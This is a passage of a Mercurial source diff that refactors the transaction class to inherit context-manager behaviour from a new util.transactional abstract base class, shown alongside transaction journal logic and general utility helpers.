 gengroupprefinalize='prefinalize'
 gengrouppostfinalize='postfinalize'
 
 def active(func):
     def _active(self, *args, **kwds):
         if self.count == 0:
             raise error.Abort(_(
                 'cannot use transaction when it is already committed/aborted'))
         return func(self, *args, **kwds)
     return _active
 
 def _playback(journal, report, opener, vfsmap, entries, backupentries,
               unlink=True, checkambigfiles=None):
     for f, o, _ignore in entries:
         if o or not unlink:
             checkambig = checkambigfiles and (f, '') in checkambigfiles
             try:
                 fp = opener(f, 'a', checkambig=checkambig)
                 fp.truncate(o)
                 fp.close()
             except IOError:
                 report(_("failed to truncate %s\n") % f)
                 raise
         else:
             try:
                 opener.unlink(f)
             except (IOError, OSError) as inst:
                 if inst.errno != errno.ENOENT:
                     raise
 
     backupfiles = []
     for l, f, b, c in backupentries:
         if l not in vfsmap and c:
             report("couldn't handle %s: unknown cache location %s\n"
                         % (b, l))
         vfs = vfsmap[l]
         try:
             if f and b:
                 filepath = vfs.join(f)
                 backuppath = vfs.join(b)
                 checkambig = checkambigfiles and (f, l) in checkambigfiles
                 try:
                     util.copyfile(backuppath, filepath, checkambig=checkambig)
                     backupfiles.append(b)
                 except IOError:
                     report(_("failed to recover %s\n") % f)
             else:
                 target = f or b
                 try:
                     vfs.unlink(target)
                 except (IOError, OSError) as inst:
                     if inst.errno != errno.ENOENT:
                         raise
         except (IOError, OSError, error.Abort) as inst:
             if not c:
                 raise
 
     backuppath = "%s.backupfiles" % journal
     if opener.exists(backuppath):
         opener.unlink(backuppath)
     opener.unlink(journal)
     try:
         for f in backupfiles:
             if opener.exists(f):
                 opener.unlink(f)
     except (IOError, OSError, error.Abort) as inst:
         # only pure backup file remains, it is sage to ignore any error
         pass
 
-class transaction(object):
+class transaction(util.transactional):
     def __init__(self, report, opener, vfsmap, journalname, undoname=None,
                  after=None, createmode=None, validator=None, releasefn=None,
                  checkambigfiles=None):
         """Begin a new transaction
 
         Begins a new transaction that allows rolling back writes in the event of
         an exception.
 
         * `after`: called after the transaction has been committed
         * `createmode`: the mode of the journal file that will be created
         * `releasefn`: called after releasing (with transaction and result)
 
         `checkambigfiles` is a set of (path, vfs-location) tuples,
         which determine whether file stat ambiguity should be avoided
         for corresponded files.
         """
         self.count = 1
         self.usages = 1
         self.report = report
         # a vfs to the store content
         self.opener = opener
         # a map to access file in various {location -> vfs}
         vfsmap = vfsmap.copy()
         vfsmap[''] = opener  # set default value
         self._vfsmap = vfsmap
         self.after = after
         self.entries = []
         self.map = {}
         self.journal = journalname
         self.undoname = undoname
         self._queue = []
         # A callback to validate transaction content before closing it.
         # should raise exception is anything is wrong.
         # target user is repository hooks.
         if validator is None:
             validator = lambda tr: None
         self.validator = validator
         # A callback to do something just after releasing transaction.
         if releasefn is None:
             releasefn = lambda tr, success: None
         self.releasefn = releasefn
 
         self.checkambigfiles = set()
         if checkambigfiles:
             self.checkambigfiles.update(checkambigfiles)
 
         # A dict dedicated to precisely tracking the changes introduced in the
         # transaction.
         self.changes = {}
 
         # a dict of arguments to be passed to hooks
         self.hookargs = {}
         self.file = opener.open(self.journal, "w")
 
         # a list of ('location', 'path', 'backuppath', cache) entries.
         # - if 'backuppath' is empty, no file existed at backup time
         # - if 'path' is empty, this is a temporary transaction file
         # - if 'location' is not empty, the path is outside main opener reach.
         #   use 'location' value as a key in a vfsmap to find the right 'vfs'
         # (cache is currently unused)
         self._backupentries = []
         self._backupmap = {}
         self._backupjournal = "%s.backupfiles" % self.journal
         self._backupsfile = opener.open(self._backupjournal, 'w')
         self._backupsfile.write('%d\n' % version)
 
         if createmode is not None:
             opener.chmod(self.journal, createmode & 0o666)
             opener.chmod(self._backupjournal, createmode & 0o666)
 
         # hold file generations to be performed on commit
         self._filegenerators = {}
         # hold callback to write pending data for hooks
         self._pendingcallback = {}
         # True is any pending data have been written ever
         self._anypending = False
         # holds callback to call when writing the transaction
         self._finalizecallback = {}
         # hold callback for post transaction close
         self._postclosecallback = {}
         # holds callbacks to call during abort
         self._abortcallback = {}
 
     def __del__(self):
         if self.journal:
             self._abort()
 
     @active
     def startgroup(self):
         """delay registration of file entry
 
         This is used by strip to delay vision of strip offset. The transaction
         sees either none or all of the strip actions to be done."""
         self._queue.append([])
 
     @active
     def endgroup(self):
         """apply delayed registration of file entry.
 
         This is used by strip to delay vision of strip offset. The transaction
         sees either none or all of the strip actions to be done."""
         q = self._queue.pop()
         for f, o, data in q:
             self._addentry(f, o, data)
 
     @active
     def add(self, file, offset, data=None):
         """record the state of an append-only file before update"""
         if file in self.map or file in self._backupmap:
             return
         if self._queue:
             self._queue[-1].append((file, offset, data))
             return
 
         self._addentry(file, offset, data)
 
     def _addentry(self, file, offset, data):
         """add a append-only entry to memory and on-disk state"""
         if file in self.map or file in self._backupmap:
             return
         self.entries.append((file, offset, data))
         self.map[file] = len(self.entries) - 1
         # add enough data to the journal to do the truncate
         self.file.write("%s\0%d\n" % (file, offset))
         self.file.flush()
 
     @active
     def addbackup(self, file, hardlink=True, location=''):
         """Adds a backup of the file to the transaction
 
         Calling addbackup() creates a hardlink backup of the specified file
         that is used to recover the file in the event of the transaction
         aborting.
 
         * `file`: the file path, relative to .hg/store
         * `hardlink`: use a hardlink to quickly create the backup
         """
         if self._queue:
             msg = 'cannot use transaction.addbackup inside "group"'
             raise error.ProgrammingError(msg)
 
         if file in self.map or file in self._backupmap:
             return
         vfs = self._vfsmap[location]
         dirname, filename = vfs.split(file)
         backupfilename = "%s.backup.%s" % (self.journal, filename)
         backupfile = vfs.reljoin(dirname, backupfilename)
         if vfs.exists(file):
             filepath = vfs.join(file)
             backuppath = vfs.join(backupfile)
             util.copyfile(filepath, backuppath, hardlink=hardlink)
         else:
             backupfile = ''
 
         self._addbackupentry((location, file, backupfile, False))
 
     def _addbackupentry(self, entry):
         """register a new backup entry and write it to disk"""
         self._backupentries.append(entry)
         self._backupmap[entry[1]] = len(self._backupentries) - 1
         self._backupsfile.write("%s\0%s\0%s\0%d\n" % entry)
         self._backupsfile.flush()
 
     @active
     def registertmp(self, tmpfile, location=''):
         """register a temporary transaction file
 
         Such files will be deleted when the transaction exits (on both
         failure and success).
         """
         self._addbackupentry((location, '', tmpfile, False))
 
     @active
     def addfilegenerator(self, genid, filenames, genfunc, order=0,
                          location=''):
         """add a function to generates some files at transaction commit
 
         The `genfunc` argument is a function capable of generating proper
         content of each entry in the `filename` tuple.
 
         At transaction close time, `genfunc` will be called with one file
         object argument per entries in `filenames`.
 
         The transaction itself is responsible for the backup, creation and
         final write of such file.
 
         The `genid` argument is used to ensure the same set of file is only
         generated once. Call to `addfilegenerator` for a `genid` already
         present will overwrite the old entry.
 
         The `order` argument may be used to control the order in which multiple
         generator will be executed.
 
         The `location` arguments may be used to indicate the files are located
         outside of the the standard directory for transaction. It should match
         one of the key of the `transaction.vfsmap` dictionary.
         """
         # For now, we are unable to do proper backup and restore of custom vfs
         # but for bookmarks that are handled outside this mechanism.
         self._filegenerators[genid] = (order, filenames, genfunc, location)
 
     @active
     def removefilegenerator(self, genid):
         """reverse of addfilegenerator, remove a file generator function"""
         if genid in self._filegenerators:
             del self._filegenerators[genid]
 
     def _generatefiles(self, suffix='', group=gengroupall):
         # write files registered for generation
         any = False
         for id, entry in sorted(self._filegenerators.iteritems()):
             any = True
             order, filenames, genfunc, location = entry
 
             # for generation at closing, check if it's before or after finalize
             postfinalize = group == gengrouppostfinalize
             if (group != gengroupall and
                 (id in postfinalizegenerators) != (postfinalize)):
                 continue
 
             vfs = self._vfsmap[location]
             files = []
             try:
                 for name in filenames:
                     name += suffix
                     if suffix:
                         self.registertmp(name, location=location)
                         checkambig = False
                     else:
                         self.addbackup(name, location=location)
                         checkambig = (name, location) in self.checkambigfiles
                     files.append(vfs(name, 'w', atomictemp=True,
                                      checkambig=checkambig))
                 genfunc(*files)
             finally:
                 for f in files:
                     f.close()
         return any
 
     @active
     def find(self, file):
         if file in self.map:
             return self.entries[self.map[file]]
         if file in self._backupmap:
             return self._backupentries[self._backupmap[file]]
         return None
 
     @active
     def replace(self, file, offset, data=None):
         '''
         replace can only replace already committed entries
         that are not pending in the queue
         '''
 
         if file not in self.map:
             raise KeyError(file)
         index = self.map[file]
         self.entries[index] = (file, offset, data)
         self.file.write("%s\0%d\n" % (file, offset))
         self.file.flush()
 
     @active
     def nest(self):
         self.count += 1
         self.usages += 1
         return self
 
     def release(self):
         if self.count > 0:
             self.usages -= 1
         # if the transaction scopes are left without being closed, fail
         if self.count > 0 and self.usages == 0:
             self._abort()
 
-    def __enter__(self):
-        return self
-
-    def __exit__(self, exc_type, exc_val, exc_tb):
-        try:
-            if exc_type is None:
-                self.close()
-        finally:
-            self.release()
-
     def running(self):
         return self.count > 0
 
     def addpending(self, category, callback):
         """add a callback to be called when the transaction is pending
 
         The transaction will be given as callback's first argument.
 
         Category is a unique identifier to allow overwriting an old callback
         with a newer callback.
         """
         self._pendingcallback[category] = callback
 
     @active
     def writepending(self):
         '''write pending file to temporary version
 
         This is used to allow hooks to view a transaction before commit'''
         categories = sorted(self._pendingcallback)
         for cat in categories:
             # remove callback since the data will have been flushed
             any = self._pendingcallback.pop(cat)(self)
             self._anypending = self._anypending or any
         self._anypending |= self._generatefiles(suffix='.pending')
         return self._anypending
 
     @active
     def addfinalize(self, category, callback):
         """add a callback to be called when the transaction is closed
 
         The transaction will be given as callback's first argument.
 
         Category is a unique identifier to allow overwriting old callbacks with
         newer callbacks.
         """
         self._finalizecallback[category] = callback
 
     @active
     def addpostclose(self, category, callback):
         """add or replace a callback to be called after the transaction closed
 
         The transaction will be given as callback's first argument.
 
         Category is a unique identifier to allow overwriting an old callback
         with a newer callback.
         """
         self._postclosecallback[category] = callback
 
     @active
     def getpostclose(self, category):
         """return a postclose callback added before, or None"""
         return self._postclosecallback.get(category, None)
 
     @active
     def addabort(self, category, callback):
         """add a callback to be called when the transaction is aborted.
 
         The transaction will be given as the first argument to the callback.
 
         Category is a unique identifier to allow overwriting an old callback
         with a newer callback.
         """
         self._abortcallback[category] = callback
 
     @active
     def close(self):
         '''commit the transaction'''
         if self.count == 1:
             self.validator(self)  # will raise exception if needed
             self.validator = None # Help prevent cycles.
             self._generatefiles(group=gengroupprefinalize)
             categories = sorted(self._finalizecallback)
             for cat in categories:
                 self._finalizecallback[cat](self)
             # Prevent double usage and help clear cycles.
             self._finalizecallback = None
             self._generatefiles(group=gengrouppostfinalize)
 
         self.count -= 1
         if self.count != 0:
             return
         self.file.close()
         self._backupsfile.close()
         # cleanup temporary files
         for l, f, b, c in self._backupentries:
             if l not in self._vfsmap and c:
                 self.report("couldn't remove %s: unknown cache location %s\n"
                             % (b, l))
                 continue
             vfs = self._vfsmap[l]
             if not f and b and vfs.exists(b):
                 try:
                     vfs.unlink(b)
                 except (IOError, OSError, error.Abort) as inst:
                     if not c:
                         raise
                     # Abort may be raise by read only opener
                     self.report("couldn't remove %s: %s\n"
                                 % (vfs.join(b), inst))
         self.entries = []
         self._writeundo()
         if self.after:
             self.after()
             self.after = None # Help prevent cycles.
         if self.opener.isfile(self._backupjournal):
             self.opener.unlink(self._backupjournal)
         if self.opener.isfile(self.journal):
             self.opener.unlink(self.journal)
         for l, _f, b, c in self._backupentries:
             if l not in self._vfsmap and c:
                 self.report("couldn't remove %s: unknown cache location"
                             "%s\n" % (b, l))
                 continue
             vfs = self._vfsmap[l]
             if b and vfs.exists(b):
                 try:
                     vfs.unlink(b)
                 except (IOError, OSError, error.Abort) as inst:
                     if not c:
                         raise
                     # Abort may be raise by read only opener
                     self.report("couldn't remove %s: %s\n"
                                 % (vfs.join(b), inst))
         self._backupentries = []
         self.journal = None
 
         self.releasefn(self, True) # notify success of closing transaction
         self.releasefn = None # Help prevent cycles.
 
         # run post close action
         categories = sorted(self._postclosecallback)
         for cat in categories:
             self._postclosecallback[cat](self)
         # Prevent double usage and help clear cycles.
         self._postclosecallback = None
 
     @active
     def abort(self):
         '''abort the transaction (generally called on error, or when the
         transaction is not explicitly committed before going out of
         scope)'''
         self._abort()
 
     def _writeundo(self):
         """write transaction data for possible future undo call"""
         if self.undoname is None:
             return
         undobackupfile = self.opener.open("%s.backupfiles" % self.undoname, 'w')
         undobackupfile.write('%d\n' % version)
         for l, f, b, c in self._backupentries:
             if not f:  # temporary file
                 continue
             if not b:
                 u = ''
             else:
                 if l not in self._vfsmap and c:
                     self.report("couldn't remove %s: unknown cache location"
                                 "%s\n" % (b, l))
                     continue
                 vfs = self._vfsmap[l]
                 base, name = vfs.split(b)
                 assert name.startswith(self.journal), name
                 uname = name.replace(self.journal, self.undoname, 1)
                 u = vfs.reljoin(base, uname)
                 util.copyfile(vfs.join(b), vfs.join(u), hardlink=True)
             undobackupfile.write("%s\0%s\0%s\0%d\n" % (l, f, u, c))
         undobackupfile.close()
 
 
     def _abort(self):
         self.count = 0
         self.usages = 0
         self.file.close()
         self._backupsfile.close()
 
         try:
             if not self.entries and not self._backupentries:
                 if self._backupjournal:
                     self.opener.unlink(self._backupjournal)
                 if self.journal:
                     self.opener.unlink(self.journal)
                 return
 
             self.report(_("transaction abort!\n"))
 
             try:
                 for cat in sorted(self._abortcallback):
                     self._abortcallback[cat](self)
                 # Prevent double usage and help clear cycles.
                 self._abortcallback = None
                 _playback(self.journal, self.report, self.opener, self._vfsmap,
                           self.entries, self._backupentries, False,
                           checkambigfiles=self.checkambigfiles)
                 self.report(_("rollback completed\n"))
             except BaseException:
                 self.report(_("rollback failed - please run hg recover\n"))
         finally:
             self.journal = None
             self.releasefn(self, False) # notify failure of transaction
             self.releasefn = None # Help prevent cycles.
 
 def rollback(opener, vfsmap, file, report, checkambigfiles=None):
     """Rolls back the transaction contained in the given file
 
     Reads the entries in the specified file, and the corresponding
     '*.backupfiles' file, to recover from an incomplete transaction.
 
     * `file`: a file containing a list of entries, specifying where
     to truncate each file.  The file should contain a list of
     file\0offset pairs, delimited by newlines. The corresponding
     '*.backupfiles' file should contain a list of file\0backupfile
     pairs, delimited by \0.
 
     `checkambigfiles` is a set of (path, vfs-location) tuples,
     which determine whether file stat ambiguity should be avoided at
     restoring corresponded files.
     """
     entries = []
     backupentries = []
 
     fp = opener.open(file)
     lines = fp.readlines()
     fp.close()
     for l in lines:
         try:
             f, o = l.split('\0')
             entries.append((f, int(o), None))
         except ValueError:
             report(_("couldn't read journal entry %r!\n") % l)
 
     backupjournal = "%s.backupfiles" % file
     if opener.exists(backupjournal):
         fp = opener.open(backupjournal)
         lines = fp.readlines()
         if lines:
             ver = lines[0][:-1]
             if ver == str(version):
                 for line in lines[1:]:
                     if line:
                         # Shave off the trailing newline
                         line = line[:-1]
                         l, f, b, c = line.split('\0')
                         backupentries.append((l, f, b, bool(c)))
             else:
                 report(_("journal was created by a different version of "
                          "Mercurial\n"))
 
     _playback(file, report, opener, vfsmap, entries, backupentries,
               checkambigfiles=checkambigfiles)

mercurial/util.py

@@ -1,3732 +1,3758 b''
 # util.py - Mercurial utility functions and platform specific implementations
 #
 #  Copyright 2005 K. Thananchayan <[e-mail]>
 #  Copyright 2005-2007 Matt Mackall <[e-mail]>
 #  Copyright 2006 Vadim Gelfer <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 """Mercurial utility functions and platform specific implementations.
 
 This contains helper routines that are independent of the SCM core and
 hide platform-specific details from the core.
 """
 
 from __future__ import absolute_import
 
+import abc
 import bz2
 import calendar
 import codecs
 import collections
 import contextlib
 import datetime
 import errno
 import gc
 import hashlib
 import imp
 import os
 import platform as pyplatform
 import re as remod
 import shutil
 import signal
 import socket
 import stat
 import string
 import subprocess
 import sys
 import tempfile
 import textwrap
 import time
 import traceback
 import warnings
 import zlib
 
 from . import (
     encoding,
     error,
     i18n,
     policy,
     pycompat,
 )
 
 base85 = policy.importmod(r'base85')
 osutil = policy.importmod(r'osutil')
 parsers = policy.importmod(r'parsers')
 
 b85decode = base85.b85decode
 b85encode = base85.b85encode
 
 cookielib = pycompat.cookielib
 empty = pycompat.empty
 httplib = pycompat.httplib
 httpserver = pycompat.httpserver
 pickle = pycompat.pickle
 queue = pycompat.queue
 socketserver = pycompat.socketserver
 stderr = pycompat.stderr
 stdin = pycompat.stdin
 stdout = pycompat.stdout
 stringio = pycompat.stringio
 urlerr = pycompat.urlerr
 urlreq = pycompat.urlreq
 xmlrpclib = pycompat.xmlrpclib
 
 # workaround for win32mbcs
 _filenamebytestr = pycompat.bytestr
 
 def isatty(fp):
     try:
         return fp.isatty()
     except AttributeError:
         return False
 
 # glibc determines buffering on first write to stdout - if we replace a TTY
 # destined stdout with a pipe destined stdout (e.g. pager), we want line
 # buffering
 if isatty(stdout):
     stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
 
 if pycompat.osname == 'nt':
     from . import windows as platform
     stdout = platform.winstdout(stdout)
 else:
     from . import posix as platform
 
 _ = i18n._
 
 bindunixsocket = platform.bindunixsocket
 cachestat = platform.cachestat
 checkexec = platform.checkexec
 checklink = platform.checklink
 copymode = platform.copymode
 executablepath = platform.executablepath
 expandglobs = platform.expandglobs
 explainexit = platform.explainexit
 findexe = platform.findexe
 gethgcmd = platform.gethgcmd
 getuser = platform.getuser
 getpid = os.getpid
 groupmembers = platform.groupmembers
 groupname = platform.groupname
 hidewindow = platform.hidewindow
 isexec = platform.isexec
 isowner = platform.isowner
 listdir = osutil.listdir
 localpath = platform.localpath
 lookupreg = platform.lookupreg
 makedir = platform.makedir
 nlinks = platform.nlinks
 normpath = platform.normpath
 normcase = platform.normcase
 normcasespec = platform.normcasespec
 normcasefallback = platform.normcasefallback
 openhardlinks = platform.openhardlinks
 oslink = platform.oslink
 parsepatchoutput = platform.parsepatchoutput
 pconvert = platform.pconvert
 poll = platform.poll
 popen = platform.popen
 posixfile = platform.posixfile
 quotecommand = platform.quotecommand
 readpipe = platform.readpipe
 rename = platform.rename
 removedirs = platform.removedirs
 samedevice = platform.samedevice
 samefile = platform.samefile
 samestat = platform.samestat
 setbinary = platform.setbinary
 setflags = platform.setflags
 setsignalhandler = platform.setsignalhandler
 shellquote = platform.shellquote
 spawndetached = platform.spawndetached
 split = platform.split
 sshargs = platform.sshargs
 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
 statisexec = platform.statisexec
 statislink = platform.statislink
 testpid = platform.testpid
 umask = platform.umask
 unlink = platform.unlink
 username = platform.username
 
 try:
     recvfds = osutil.recvfds
 except AttributeError:
     pass
 try:
     setprocname = osutil.setprocname
 except AttributeError:
     pass
 
 # Python compatibility
 
 _notset = object()
 
 # disable Python's problematic floating point timestamps (issue4836)
 # (Python hypocritically says you shouldn't change this behavior in
 # libraries, and sure enough Mercurial is not a library.)
 os.stat_float_times(False)
 
 def safehasattr(thing, attr):
     return getattr(thing, attr, _notset) is not _notset
 
 def bitsfrom(container):
     bits = 0
     for bit in container:
         bits |= bit
     return bits
 
 # python 2.6 still have deprecation warning enabled by default. We do not want
 # to display anything to standard user so detect if we are running test and
 # only use python deprecation warning in this case.
 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
 if _dowarn:
     # explicitly unfilter our warning for python 2.7
     #
     # The option of setting PYTHONWARNINGS in the test runner was investigated.
     # However, module name set through PYTHONWARNINGS was exactly matched, so
     # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
     # makes the whole PYTHONWARNINGS thing useless for our usecase.
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
 
 def nouideprecwarn(msg, version, stacklevel=1):
     """Issue an python native deprecation warning
 
     This is a noop outside of tests, use 'ui.deprecwarn' when possible.
     """
     if _dowarn:
         msg += ("\n(compatibility will be dropped after Mercurial-%s,"
                 " update your code.)") % version
         warnings.warn(msg, DeprecationWarning, stacklevel + 1)
 
 DIGESTS = {
     'md5': hashlib.md5,
     'sha1': hashlib.sha1,
     'sha512': hashlib.sha512,
 }
 # List of digest types from strongest to weakest
 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
 
 for k in DIGESTS_BY_STRENGTH:
     assert k in DIGESTS
 
 class digester(object):
     """helper to compute digests.
 
     This helper can be used to compute one or more digests given their name.
 
     >>> d = digester(['md5', 'sha1'])
     >>> d.update('foo')
     >>> [k for k in sorted(d)]
     ['md5', 'sha1']
     >>> d['md5']
     'acbd18db4cc2f85cedef654fccc4a4d8'
     >>> d['sha1']
     '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
     >>> digester.preferred(['md5', 'sha1'])
     'sha1'
     """
 
     def __init__(self, digests, s=''):
         self._hashes = {}
         for k in digests:
             if k not in DIGESTS:
                 raise Abort(_('unknown digest type: %s') % k)
             self._hashes[k] = DIGESTS[k]()
         if s:
             self.update(s)
 
     def update(self, data):
         for h in self._hashes.values():
             h.update(data)
 
     def __getitem__(self, key):
         if key not in DIGESTS:
             raise Abort(_('unknown digest type: %s') % k)
         return self._hashes[key].hexdigest()
 
     def __iter__(self):
         return iter(self._hashes)
 
     @staticmethod
     def preferred(supported):
         """returns the strongest digest type in both supported and DIGESTS."""
 
         for k in DIGESTS_BY_STRENGTH:
             if k in supported:
                 return k
         return None
 
 class digestchecker(object):
     """file handle wrapper that additionally checks content against a given
     size and digests.
 
         d = digestchecker(fh, size, {'md5': '...'})
 
     When multiple digests are given, all of them are validated.
     """
 
     def __init__(self, fh, size, digests):
         self._fh = fh
         self._size = size
         self._got = 0
         self._digests = dict(digests)
         self._digester = digester(self._digests.keys())
 
     def read(self, length=-1):
         content = self._fh.read(length)
         self._digester.update(content)
         self._got += len(content)
         return content
 
     def validate(self):
         if self._size != self._got:
             raise Abort(_('size mismatch: expected %d, got %d') %
                 (self._size, self._got))
         for k, v in self._digests.items():
             if v != self._digester[k]:
                 # i18n: first parameter is a digest name
                 raise Abort(_('%s mismatch: expected %s, got %s') %
                     (k, v, self._digester[k]))
 
 try:
     buffer = buffer
 except NameError:
     def buffer(sliceable, offset=0, length=None):
         if length is not None:
             return memoryview(sliceable)[offset:offset + length]
         return memoryview(sliceable)[offset:]
 
 closefds = pycompat.osname == 'posix'
 
 _chunksize = 4096
 
 class bufferedinputpipe(object):
     """a manually buffered input pipe
 
     Python will not let us use buffered IO and lazy reading with 'polling' at
     the same time. We cannot probe the buffer state and select will not detect
     that data are ready to read if they are already buffered.
 
     This class let us work around that by implementing its own buffering
     (allowing efficient readline) while offering a way to know if the buffer is
     empty from the output (allowing collaboration of the buffer with polling).
 
     This class lives in the 'util' module because it makes use of the 'os'
     module from the python stdlib.
     """
 
     def __init__(self, input):
         self._input = input
         self._buffer = []
         self._eof = False
         self._lenbuf = 0
 
     @property
     def hasbuffer(self):
         """True is any data is currently buffered
 
         This will be used externally a pre-step for polling IO. If there is
         already data then no polling should be set in place."""
         return bool(self._buffer)
 
     @property
     def closed(self):
         return self._input.closed
 
     def fileno(self):
         return self._input.fileno()
 
     def close(self):
         return self._input.close()
 
     def read(self, size):
         while (not self._eof) and (self._lenbuf < size):
             self._fillbuffer()
         return self._frombuffer(size)
 
     def readline(self, *args, **kwargs):
         if 1 < len(self._buffer):
             # this should not happen because both read and readline end with a
             # _frombuffer call that collapse it.
             self._buffer = [''.join(self._buffer)]
             self._lenbuf = len(self._buffer[0])
         lfi = -1
         if self._buffer:
             lfi = self._buffer[-1].find('\n')
         while (not self._eof) and lfi < 0:
             self._fillbuffer()
             if self._buffer:
                 lfi = self._buffer[-1].find('\n')
         size = lfi + 1
         if lfi < 0: # end of file
             size = self._lenbuf
         elif 1 < len(self._buffer):
             # we need to take previous chunks into account
             size += self._lenbuf - len(self._buffer[-1])
         return self._frombuffer(size)
 
     def _frombuffer(self, size):
         """return at most 'size' data from the buffer
 
         The data are removed from the buffer."""
         if size == 0 or not self._buffer:
             return ''
         buf = self._buffer[0]
         if 1 < len(self._buffer):
             buf = ''.join(self._buffer)
 
         data = buf[:size]
         buf = buf[len(data):]
         if buf:
             self._buffer = [buf]
             self._lenbuf = len(buf)
         else:
             self._buffer = []
             self._lenbuf = 0
         return data
 
     def _fillbuffer(self):
         """read data to the buffer"""
         data = os.read(self._input.fileno(), _chunksize)
         if not data:
             self._eof = True
         else:
             self._lenbuf += len(data)
             self._buffer.append(data)
 
 def popen2(cmd, env=None, newlines=False):
     # Setting bufsize to -1 lets the system decide the buffer size.
     # The default for bufsize is 0, meaning unbuffered. This leads to
     # poor performance on Mac OS X: http://bugs.python.org/issue4194
     p = subprocess.Popen(cmd, shell=True, bufsize=-1,
                          close_fds=closefds,
                          stdin=subprocess.PIPE, stdout=subprocess.PIPE,
                          universal_newlines=newlines,
                          env=env)
     return p.stdin, p.stdout
 
 def popen3(cmd, env=None, newlines=False):
     stdin, stdout, stderr, p = popen4(cmd, env, newlines)
     return stdin, stdout, stderr
 
 def popen4(cmd, env=None, newlines=False, bufsize=-1):
     p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
                          close_fds=closefds,
                          stdin=subprocess.PIPE, stdout=subprocess.PIPE,
                          stderr=subprocess.PIPE,
                          universal_newlines=newlines,
                          env=env)
     return p.stdin, p.stdout, p.stderr, p
 
 def version():
     """Return version information if available."""
     try:
         from . import __version__
         return __version__.version
     except ImportError:
         return 'unknown'
 
 def versiontuple(v=None, n=4):
     """Parses a Mercurial version string into an N-tuple.
 
     The version string to be parsed is specified with the ``v`` argument.
     If it isn't defined, the current Mercurial version string will be parsed.
 
     ``n`` can be 2, 3, or 4. Here is how some version strings map to
     returned values:
 
     >>> v = '3.6.1+190-df9b73d2d444'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, 1)
     >>> versiontuple(v, 4)
     (3, 6, 1, '190-df9b73d2d444')
 
     >>> versiontuple('3.6.1+190-df9b73d2d444+20151118')
     (3, 6, 1, '190-df9b73d2d444+20151118')
 
     >>> v = '3.6'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, None)
     >>> versiontuple(v, 4)
     (3, 6, None, None)
 
     >>> v = '3.9-rc'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc')
 
     >>> v = '3.9-rc+2-02a8fea4289b'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc+2-02a8fea4289b')
     """
     if not v:
         v = version()
     parts = remod.split('[\+-]', v, 1)
     if len(parts) == 1:
         vparts, extra = parts[0], None
     else:
         vparts, extra = parts
 
     vints = []
     for i in vparts.split('.'):
         try:
             vints.append(int(i))
         except ValueError:
             break
     # (3, 6) -> (3, 6, None)
     while len(vints) < 3:
         vints.append(None)
 
     if n == 2:
         return (vints[0], vints[1])
     if n == 3:
         return (vints[0], vints[1], vints[2])
     if n == 4:
         return (vints[0], vints[1], vints[2], extra)
 
 # used by parsedate
 defaultdateformats = (
     '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
     '%Y-%m-%dT%H:%M',    #   without seconds
     '%Y-%m-%dT%H%M%S',   # another awful but legal variant without :
     '%Y-%m-%dT%H%M',     #   without seconds
     '%Y-%m-%d %H:%M:%S', # our common legal variant
     '%Y-%m-%d %H:%M',    #   without seconds
     '%Y-%m-%d %H%M%S',   # without :
     '%Y-%m-%d %H%M',     #   without seconds
     '%Y-%m-%d %I:%M:%S%p',
     '%Y-%m-%d %H:%M',
     '%Y-%m-%d %I:%M%p',
     '%Y-%m-%d',
     '%m-%d',
     '%m/%d',
     '%m/%d/%y',
     '%m/%d/%Y',
     '%a %b %d %H:%M:%S %Y',
     '%a %b %d %I:%M:%S%p %Y',
     '%a, %d %b %Y %H:%M:%S',        #  GNU coreutils "/bin/date --rfc-2822"
     '%b %d %H:%M:%S %Y',
     '%b %d %I:%M:%S%p %Y',
     '%b %d %H:%M:%S',
     '%b %d %I:%M:%S%p',
     '%b %d %H:%M',
     '%b %d %I:%M%p',
     '%b %d %Y',
     '%b %d',
     '%H:%M:%S',
     '%I:%M:%S%p',
     '%H:%M',
     '%I:%M%p',
 )
 
 extendeddateformats = defaultdateformats + (
     "%Y",
     "%Y-%m",
     "%b",
     "%b %Y",
     )
 
 def cachefunc(func):
     '''cache the result of function calls'''
     # XXX doesn't handle keywords args
     if func.__code__.co_argcount == 0:
         cache = []
         def f():
             if len(cache) == 0:
                 cache.append(func())
             return cache[0]
         return f
     cache = {}
     if func.__code__.co_argcount == 1:
         # we gain a small amount of time because
         # we don't need to pack/unpack the list
         def f(arg):
             if arg not in cache:
                 cache[arg] = func(arg)
             return cache[arg]
     else:
         def f(*args):
             if args not in cache:
                 cache[args] = func(*args)
             return cache[args]
 
     return f
 
 class sortdict(collections.OrderedDict):
     '''a simple sorted dictionary
 
     >>> d1 = sortdict([('a', 0), ('b', 1)])
     >>> d2 = d1.copy()
     >>> d2
     sortdict([('a', 0), ('b', 1)])
     >>> d2.update([('a', 2)])
     >>> d2.keys() # should still be in last-set order
     ['b', 'a']
     '''
 
     def __setitem__(self, key, value):
         if key in self:
             del self[key]
         super(sortdict, self).__setitem__(key, value)
 
     if pycompat.ispypy:
         # __setitem__() isn't called as of PyPy 5.8.0
         def update(self, src):
             if isinstance(src, dict):
                 src = src.iteritems()
             for k, v in src:
                 self[k] = v
 
+class transactional(object):
+    """Base class for making a transactional type into a context manager."""
+    __metaclass__ = abc.ABCMeta
+
+    @abc.abstractmethod
+    def close(self):
+        """Successfully closes the transaction."""
+
+    @abc.abstractmethod
+    def release(self):
+        """Marks the end of the transaction.
+
